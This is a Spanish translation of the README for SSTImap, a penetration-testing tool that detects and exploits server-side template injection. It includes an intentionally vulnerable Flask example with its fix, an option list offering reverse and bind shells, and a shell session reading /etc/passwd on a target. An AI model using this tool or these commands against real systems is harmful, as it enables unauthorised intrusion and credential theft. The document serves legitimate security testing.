
Herramienta automática de detección de SSTI con interfaz interactiva
Este proyecto está basado en Tplmap.
SSTImap es un software de pruebas de penetración que puede comprobar sitios web en busca de vulnerabilidades de Inyección de Código e Inyección de Plantillas del Lado del Servidor (SSTI) y explotarlas, dando acceso al propio sistema operativo.
Esta herramienta fue desarrollada para ser utilizada como una herramienta interactiva de pruebas de penetración para la detección y explotación de SSTI, lo que permite una explotación más avanzada. Se pueden encontrar más payloads para SSTImap aquí.
Los payloads y las técnicas provienen de:
Esta herramienta es capaz de explotar algunos escapes de contexto de código y escenarios de inyección ciega. También admite inyecciones de código tipo eval() en Java, JavaScript, PHP, Python, Ruby y motores de plantillas genéricos sin sandbox.
Aunque este software está basado en el código de Tplmap, no se proporciona compatibilidad hacia atrás.
-i) que permite una detección y explotación más fáciles--genericEval_generic-x) o comando único (-X) tipo eval() del lenguaje base-h para obtener ayudaEste es un ejemplo de un sitio web simple escrito en Python usando el framework Flask y el motor de plantillas Jinja2. Integra la variable name proporcionada por el usuario de una manera insegura, ya que se concatena a la cadena de plantilla antes de renderizarla.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Esta forma de usar plantillas no solo crea una vulnerabilidad XSS, sino que también permite al atacante inyectar código de plantilla, que se ejecutará en el servidor, lo que lleva a SSTI.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
La entrada proporcionada por el usuario debe introducirse de forma segura a través del contexto de renderizado:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
SSTImap en modo predeterminado es muy similar a Tplmap. Es capaz de detectar y explotar vulnerabilidades SSTI en múltiples plantillas diferentes.
Después de la explotación, SSTImap puede proporcionar acceso a la evaluación de código, ejecución de comandos del sistema operativo y manipulaciones del sistema de archivos.
Para comprobar la URL, puede usar el argumento -u:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Use la opción --os-shell para lanzar una pseudo-terminal en el objetivo.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Para obtener una lista completa de opciones, use el argumento --help.
En el modo interactivo, se usan comandos para interactuar con SSTImap. Para entrar en el modo interactivo, puede usar el argumento -i. Todos los demás argumentos, excepto los relacionados con payloads de explotación, se usarán como valores iniciales para la configuración.
Algunos comandos se usan para alterar la configuración entre ejecuciones de pruebas. Para ejecutar una prueba, la URL objetivo debe proporcionarse mediante el argumento inicial -u o el comando url. Después de eso, puede usar el comando run para comprobar la URL en busca de SSTI.
Si se encuentra SSTI, se pueden usar comandos para iniciar la explotación. Puede obtener las mismas capacidades de explotación que en el modo predeterminado, pero puede usar Ctrl+C para abortarlas sin detener el programa.
Por cierto, los resultados de las pruebas son válidos hasta que se cambie la URL objetivo, por lo que puede cambiar fácilmente entre métodos de explotación sin ejecutar la prueba de detección cada vez.
Para obtener una lista completa de comandos interactivos, use el comando help en el modo interactivo.
SSTImap admite múltiples motores de plantillas e inyecciones tipo eval().
Los nuevos payloads son bienvenidos en PRs. Consulte los consejos para acelerar el desarrollo.
| Engine | RCE | Tech | Language | Type |
|---|---|---|---|---|
| Freemarker | ✓ | REBT | Java | Default |
| Java generic EL injections | ✓ | REBT | Java | Default |
| OGNL (Object-Graph Navigation Language code eval) | ✓ | REBT | Java | Default |
| Velocity | ✓ | REBT | Java | Default |
| Nunjucks | ✓ | REBT | JavaScript | Default |
| Velocity.js | ✓ | REBT | JavaScript | Default |
| JavaScript (code eval) | ✓ | REBT | JavaScript | Default |
| JavaScript-based generic templates | ✓ | REBT | JavaScript | Default |
| Twig (>=1.41; >=2.10; >=3.0) | ✓ | REBT | PHP | Default |
| PHP (code eval) | ✓ | REBT | PHP | Default |
| PHP-based generic templates | ✓ | REBT | PHP | Default |
| Jinja2 | ✓ | REBT | Python | Default |
| Python (code eval) | ✓ | REBT | Python | Default |
| Python-based generic templates | ✓ | REBT | Python | Default |
| ERB | ✓ | REBT | Ruby | Default |
| Mustache (<=1.1.2; detection only) | × | reb_ | Ruby | Default |
| Slim | ✓ | REBT | Ruby | Default |
| Ruby (code eval) | ✓ | REBT | Ruby | Default |
| Generic evaluating templates | × | Reb_ | * | Default |
| SpEL (Spring EL code eval) | ✓ | REBT | Java | Generic |
| doT | ✓ | REBT | JavaScript | Generic |
Técnicas: (R)enderizada, (E)rror-based, (B)oolean error-based blind y (T)ime-based blind; La letra minúscula marca una técnica parcialmente soportada
Se pueden encontrar más plugins y payloads en el repositorio SSTImap Extra Plugins.
Actualmente, Burp Suite solo funciona con Jython como una forma de ejecutar python2. No se proporciona funcionalidad de Python3.
Si planea contribuir con algo grande de esta lista, infórmeme para evitar trabajar en lo mismo que yo u otros contribuyentes.
| EJS | ✓ | REBT | JavaScript | Generic |
| Marko | ✓ | REBT | JavaScript | Generic |
| Pug | ✓ | REBT | JavaScript | Generic |
| Smarty | ✓ | REBT | PHP | Generic |
| Cheetah | ✓ | REBT | Python | Generic |
| Mako | ✓ | REBT | Python | Generic |
| Tornado | ✓ | REBT | Python | Generic |
| Dust (<= [email protected]) | ✓ | REBT | JavaScript | Legacy |
| Twig (<=1.19.0) | ✓ | REBT | PHP | Legacy |
| Pybars3 / Pybars4 | ✓ | REBT | Python | Legacy |
| Templite | ✓ | REBT | Python | Legacy |
| SSI (Server-Side Includes injection) | ✓ | R__T | SSI | Legacy |
| Obscure evaluating syntaxes | × | Reb_ | * | Legacy |
| CVE-2025-1302 | ✓ | REBT | JavaScript | Extra |
| CVE-2025-13204 | ✓ | REBT | JavaScript | Extra |
| CVE-2022-23614 | ✓ | REBT | PHP | Extra |
| CVE-2024-6386 | ✓ | REBT | PHP | Extra |
| CVE-2026-46640 | ✓ | REBT | PHP | Extra |